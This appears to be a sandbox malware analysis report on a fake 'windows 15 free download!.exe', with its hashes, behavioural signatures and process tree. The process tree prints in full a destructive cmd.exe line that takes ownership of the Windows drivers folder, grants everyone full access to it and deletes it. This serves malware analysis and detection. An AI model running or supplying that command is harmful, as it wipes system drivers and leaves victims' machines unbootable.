Analysis
- max time kernel
93s - max time network
116s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
03/08/2024, 11:55
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
windows 15 free download!.exe
Resource
win7-20240708-en
windows7-x64
6 signatures
150 seconds
General
- Target windows 15 free download!.exe
- Size 2.0MB
- Sample240803-n3nv2axbpf
- SHA256 57ccd1250d8628f26ba6f9e9eb57a2decddc249d43ccdbd7d99fca5cf2d89110
- MD5 7f7ad035d717a67cbff59223aa113bc6
- SHA1 1ed720c5fa9d40d309e4855b480b3fbab148304b
- SHA512 363ee8ac6ef56612b293062366e1905dd30687c737df53d57fb99692690d9de93afcc2640c990deb1b048320e3f1572715f42302d57e367b2c9eb366fee92cbb
- SSDEEP 24576:9zQJR2LJAJViNRnbURt73SCYb0ENinDXM:JQJRsAJViNRbURJsYlM
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Drops file in Drivers directory 64 IoCs
description ioc Process File opened for modification \??\c:\windows\system32\drivers\dxgmms2.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\fsdepends.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\hidclass.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mmcss.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\tcpipreg.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\WUDFUsbccidDriver.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\msfs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\msquic.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\npfs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\pacer.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\rspndr.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\srvnet.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\storqosflt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\hidscanner.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\csc.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\rdpbus.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\afunix.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mrxsmb.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\NdisVirtualBus.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\rdbss.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\tdi.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\SensorsCx.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\afd.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mpsdrv.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mrxsmb20.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mssmbios.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\nsiproxy.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\vhdmp.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\wcifs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\cldflt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\Diskdump.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\drmk.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\HdAudio.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\lltdio.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\ndiscap.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\Rtnic64.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\usbd.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\usbport.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\winhvr.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\bindflt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\crashdmp.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mouclass.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\cimfs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\Vid.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\watchdog.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\bam.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\bowser.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\hdaudbus.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\http.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\kdnic.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\Ndu.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\udfs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\IddCx.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\idtsec.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\SensorsHid.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\wpdmtpdr.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\usbehci.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\vwififlt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\ahcache.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\dumpfve.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\gpuenergydrv.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\cdfs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mslldp.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\PEAuth.sys cmd.exe - Possible privilege escalation attempt 2 IoCs
pid Process 3424 takeown.exe 4368 icacls.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation windows 15 free download!.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 3424 takeown.exe 4368 icacls.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 3424 takeown.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4644 wrote to memory of 4252 4644 windows 15 free download!.exe 86 PID 4644 wrote to memory of 4252 4644 windows 15 free download!.exe 86 PID 4252 wrote to memory of 3424 4252 cmd.exe 88 PID 4252 wrote to memory of 3424 4252 cmd.exe 88 PID 4252 wrote to memory of 4368 4252 cmd.exe 89 PID 4252 wrote to memory of 4368 4252 cmd.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4644 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && rd/s/q c:\windows\system32\drivers && exit2⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\system32\takeown.exetakeown /f c:\windows\system32\drivers\*3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3424
-
-
C:\Windows\system32\icacls.exeicacls c:\windows\system32\drivers\* /grant Everyone:(F)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4368
-
-